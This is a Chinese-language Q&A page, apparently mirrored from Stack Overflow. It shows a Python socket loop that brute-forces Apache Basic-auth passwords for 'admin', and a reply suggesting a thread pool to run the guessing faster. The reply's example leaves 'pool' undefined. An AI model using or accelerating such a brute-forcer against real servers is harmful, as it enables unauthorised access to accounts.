重复使用connect()时如何提高效率?

2024-04-19 00:27:18 发布

您现在位置:Python中文网/ 问答频道 /正文

我希望对Apache授权使用快速暴力测试,而不使用urllib或socket-lib编码。但是,connect()是一个非常慢的任务(400/m)。你知道吗

重复使用connect()函数时如何提高效率 (没有多进程方法;仅在代码级别)?你知道吗

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()

Tags: 方法函数代码in编码进程libapache
1条回答
网友
1楼 · 发布于 2024-04-19 00:27:18

可以使用线程池。看看这个多处理池线程池包裹。您可以创建一个大小为N的池,然后在for循环中使用imap\u unordered()来连接、发送和接收每个线程。你知道吗

你也可以使用多处理.pool.pool对于一个进程池(相对于线程),但听起来这将是I/O绑定的,所以线程池会更好,IMHO。你知道吗

例如:

from multiprocessing.pool import ThreadPool as Pool
import random
import time

def do_something(x):
    delay = random.randint(1,3)
    time.sleep(delay)
    return x,delay

for i, result in pool.imap_unordered(do_something, range(10)):
    print i, result

相关问题 更多 >